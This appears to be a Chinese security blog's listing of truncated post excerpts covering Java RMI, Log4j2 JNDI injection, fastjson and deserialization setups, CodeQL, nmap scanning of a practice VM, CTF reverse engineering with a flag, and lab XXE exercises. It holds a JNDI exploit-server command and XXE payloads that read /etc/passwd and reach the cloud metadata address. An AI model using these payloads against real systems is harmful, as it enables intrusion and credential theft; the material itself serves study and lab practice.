java的RMI协议
通讯服务端
RMIServer.java
package wan.com;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { RemoteObjiml remoteObjiml = new RemoteObjiml(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("remoteObj",remoteObjiml); }}
...
java的RMI协议
log4j2这里我们先构造一个jndi server
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
添加 log4j2的xml
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency></dependenci ...
java反序列化cc链
序列化和反序列化persion.java
import java.io.Serializable;public class Persion implements Serializable { private String wan; private int i; @Override public String toString() { return "Persion{" + "wan='" + wan + '\'' + ", i=" + i + '}'; } public String getWan() { return wan; } public void setWan(String wan) { this.wa ...
fastjson
fastjsonhttps://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
Persion.java
public class Persion { public String name; private int age; @Override public String toString() { return "Persion{&quo ...
codeql
codeql下一个靶场来测试
https://github.com/l4yn3/micro_service_seclab/
引擎安装(codeql)
https://github.com/github/codeql-cli-binaries/releases
SDK安装(ql)
https://github.com/github/codeql
codeql database create D:\Data\secquan\Audit\CodeQl\databases\micro_service_seclab_database --language="java" --command="mvn clean install --file pom.xml" --source-root=D:\Download\micro_service_seclab-main --overwrite
D:\Data\secquan\Audit\CodeQl\databases\micro_service_seclab_database 这个是要生成数据库的路径D:\ ...
selenium 学习
selenium 学习启动firefox安装foxmail driver
https://github.com/mozilla/geckodriver/releases
这里写了当前driver满足的版本问题
这里用的虚拟环境 非虚拟环境直接放到使用的python的scripts目录下即可 保持与使用的python同级目录
pip3 install selenium
开个firefox
from selenium import webdriverdriver = webdriver.Firefox()driver.get("http://www.baidu.com/")
他说找不到moz:firefoxOptions.binary 也就是找不到firefox的二进制文件
那么我们就添加上
Chrome
一键搭建pip3 install webdriver-helper==1.0.1
import timefrom webdriver_helper import *driver = get_webdriver()# 默认chromedr ...
LordOfTheRoot_1.0.1
LordOfTheRoot_1.0.1namp简单使用namp 192.168.5.0/24 -sP 探测目标主机存活情况namp 192.168.5.0/24 -O 识别操作系统
namp 192.168.5.153 -sS -sV -A -T4 -p--p- 全端口扫描 1-65535 但是比较耗时间-sS SYN扫描,只完成三次握手前两次,很少有系统记入日志,默认使用,需要root(admin)权限-sV 探测端口号版本-A 全面系统检查,使用脚本检测,扫描等-T4 针对TCP端口进制动态扫描延迟重10ms
得到 22 端口 ssh 操作系统linux3.X|4.X
ssh查看ssh ssh@192.168.5.153
发现提示 knock Easy as 1,2,3 意思是敲击三次,端口碰撞
端口碰撞protknocking端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击 ...
android 逆向(xctf)
基础android
直接拖进jeb
package com.example.test.ctf02;import android.content.Intent;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.view.View.OnClickListener;import android.view.View;import android.widget.Button;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends AppCompatActivity { private Button login; private EditText passWord; @Override // android.support.v7.app.AppCompatActivity protected void onCr ...
android 逆向(bugkuctf)
入门逆向下载完成是一个baby.exe
使用Exeinfo pe查下壳
gcc编写 32位
拖入ida
按两下 空格转换成 汇编模式
选择66h 按R 即可转换成ascii
flag{Re_1s_S0_C0OL}
从上图可以看到 _printf 的地址是 0x00401475
打开lcg 按住ctrl+G 搜索这个地址
找到指令后按住 f12 下断点
可以看到 flag是从esp+0x2f开始的 拿计算器算一下
61 FF1F
记得按 f8 步过和f7单步执行
打开显示ascii数据
signin给了一个apk
使用 jeb打开
这里可以看到 string 是在 0x7F0B0020 取出的
ctrl + f 直接搜索 发现该变量名字就是toString
在string.xml下面找到 字符串的值
我们对着源码 写下逆向函数
import base64s= '991YiZWOz81ZhFjZfJXdwk3X1k2XzIXZIt3ZhxmZ's = s[::-1]print(base64.b64dec ...
XML external entity (XXE) injection
使用外部实体利用 XXE 来检索文件
这里发现一个 xml请求 简单测试下发现存在xxe
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck> <productId>&xxe;</productId> <storeId>2</storeId></stockCheck>
利用 XXE 执行 SSRF 攻击
跟上一关类似 只不过更换了协议
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-d ...